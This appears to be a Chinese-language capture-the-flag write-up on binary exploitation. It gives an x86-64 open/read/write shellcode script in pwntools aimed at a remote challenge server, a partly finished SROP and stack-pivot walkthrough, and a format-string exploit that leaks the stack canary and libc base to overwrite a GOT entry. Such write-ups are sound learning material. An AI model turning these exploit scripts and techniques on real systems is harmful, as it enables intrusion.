openat(“flag.txt”):

  • 將 "flag.txt" 字串寫入内存
    
    1
    2
    3
    4
    5

    ```assembly_x86
    mov rdi, {flag_str_addr}
    mov rsi, 0x7478742e67616c66 // "flag.txt"
    mov qword ptr [rdi], rsi
  • openat(AT_FDCWD, "flag.txt", O_RDONLY, 0) , syscall 是指令地址
    
    1
    2
    3
    4
    5
    6
    7

    ```assembly_x86
    mov rax, 0x101 // __NR_openat = 257
    mov rdi, 0xFFFFFF9C // AT_FDCWD (-100)
    mov rsi, {flag_str_addr} // "flag.txt"
    xor rdx, rdx // O_RDONLY
    syscall // RAX = fd

readv(fd, &iov, 1):

1
2
3
4
5
mov rdi, rax                 // RDI = fd
mov rax, 0x13 // __NR_readv = 19
mov rsi, {iovec_addr} // RSI = &iovec
mov rdx, 0x1 // RDX = 1 (iovec count)
syscall // 讀取內容

writev(STDOUT, &iov, 1):

1
2
3
4
5
mov rax, 0x14                // __NR_writev = 20
mov rdi, 0x1 // RDI = STDOUT_FILENO (1)
mov rsi, {iovec_addr} // RSI = &iovec
mov rdx, 0x1 // RDX = 1 (iovec count)
syscall // 輸出內容

exit(0):

1
2
3
mov rax, 0x3c                // __NR_exit = 60
xor rdi, rdi
syscall

合在一起的python 就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
# nc 39.106.57.152 39122
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('39.106.57.152',39122)

BUF_ADDR = 0x114514 # mmap 地址
IOVEC_ADDR = BUF_ADDR + 0x100 # iovec 結構地址
BUFFER_ADDR = BUF_ADDR + 0x200 # 文件內容緩衝區地址
FLAG_STR_ADDR = BUF_ADDR + 0x300 # "flag" 字串地址 (註:根據你的 ls 結果,文件是 'flag' 而非 'flag.txt')

# 修正組譯錯誤,移除行尾註釋和不必要的空格
shellcode = asm(f"""
/* ------------------- 1. 設置 iovec 結構 ------------------- */
mov rax, {BUFFER_ADDR}
mov qword ptr [{IOVEC_ADDR}], rax
mov qword ptr [{IOVEC_ADDR} + 8], 0x100

/* ------------------- 2. openat("flag") ------------------- */
/* 將 "flag" 字串寫入内存 (4 bytes, 故只需 mov dword) */
mov rdi, {FLAG_STR_ADDR}
mov rsi, 0x67616c66 # "flag"
mov dword ptr [rdi], esi

/* openat(AT_FDCWD, "flag", O_RDONLY, 0) */
mov rax, 0x101 # __NR_openat = 257
mov rdi, 0xFFFFFF9C # AT_FDCWD (-100)
mov rsi, {FLAG_STR_ADDR} # "flag"
xor rdx, rdx # O_RDONLY
syscall # RAX = fd

/* ------------------- 3. readv(fd, &iov, 1) ------------------- */
mov rdi, rax # RDI = fd
mov rax, 0x13 # __NR_readv = 19
mov rsi, {IOVEC_ADDR} # RSI = &iovec
mov rdx, 0x1 # RDX = 1 (iovec count)
syscall # 讀取內容

/* ------------------- 4. writev(STDOUT, &iov, 1) ------------------- */
mov rax, 0x14 # __NR_writev = 20
mov rdi, 0x1 # RDI = STDOUT_FILENO (1)
mov rsi, {IOVEC_ADDR} # RSI = &iovec
mov rdx, 0x1 # RDX = 1 (iovec count)
syscall # 輸出內容

/* ------------------- 5. exit(0) ------------------- */
mov rax, 0x3c # __NR_exit = 60
xor rdi, rdi
syscall
""")

p.sendline(shellcode)
p.interactive()

only_read(味复刻)

screen-capture.png screen-capture.png screen-capture.png

ban了 execve

這一題是SROP + 栈迁移 + ORW

srop 是 sigreturn rop 的簡稱
參考影片:
https://www.bilibili.com/video/BV1ob32zuExQ/?spm_id_from=333.337.search-card.all.click&vd_source=b128d59725d91ecef706ce0b01795a8f

有一個gift:

return 15 是一個sigreturn的系統調用
signal frame No.1 –> bss 寫入”/flag\x00” (6位)
signal frame No.2 –> SYS_open
signal frame No.3 –> SYS_read
signal frame No.4 –> SYS_write
先看看bss段:
screen-capture.png

0x404000 - 0x405000 rwp
bss = 0x404000

screen-capture.png

syscall = 0x40136d (gift)

栈迁移

即使攻击者可以控制返回地址,栈上的空间(16字节)也太小了,无法放下复杂的攻击载荷(payload)。
这通常通过一个 leave; ret “gadget”(小工具代码段)来实现。
leave 指令等同于 mov rsp, rbp; pop rbp

ORW

可以參考week2的noshell

payload1

「栈遷移」+「布置 sigframe」
vuln buffer 只有 0x10 bytes 太小,放不下 sigframe(sigframe 結構很大)。
所以我們利用 leave; ret gadget 來把 stack 指針 rsp 移到一個大的可控區域
找leave; ret gadget :

leave_ret = 0x4012b0
payload = b’A’ * 0x10
payload += p64(bss)
payload += p64(leave_ret)

No.1 No.2 No.3 No.4

已知
syscall gadget = 0x40136d(gift)bss = 0x404000
SYS_read :

SYS_open:

SYS_read:

SYS_ write

Week4

fmt and got(味复刻)

screen-capture.png

第一次: plt->got->plt->更改函数改got->重新执行->去往真实函数

第二次plt->got->真实函数

存放函数地址的数据表,称为全局偏移表(GOT, Global Offset Table),而那个额外代码段表,称为程序链接表(PLT,Procedure Link Table)

Ubuntu GLIBC 2.35-0ubuntu3.10

用patchelf更換 libc 和 ld 文件
screen-capture.png

fffffdd7-24d9-4ee8-ac48-42a010c30d2e.png

(0xd4a8-0xd3a0)/8 = 33 , 33+6 = 39

%39$p

635eb358-2363-4edf-8335-00edb7adb334.png

%61$p

1
aaaa%39$p.%61$p
screen-capture.png

0x7ffff7c29e40 - 0x7ffff7c00000 = 0x29E40

libc_base = libc - 0x29E40

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p=process('./fmt_got')
elf= ELF('./fmt_got')
libc=ELF('./libc.so.6')

p.recvuntil('> ')
payload1=b'aaaa%39$p.%61$p'
p.sendline(payload1)
p.recvuntil('aaaa')
canary=int(p.recvuntil(b'00').decode(),16)
p.recvuntil('.')
libc_a = int(p.recvuntil(b'\n').decode(),16)
libc_base = libc_a - 0x29E40

print(hex(canary))
print(hex(libc_a))

read_flag_addr = elf.symbols['read_flag']
puts_got = elf.got['puts']

print(hex(read_flag_addr))
print(hex(puts_got))

payload2 = b'A'*(0x10)

format-string 改寫 GOT → 讓程式呼叫 read_flag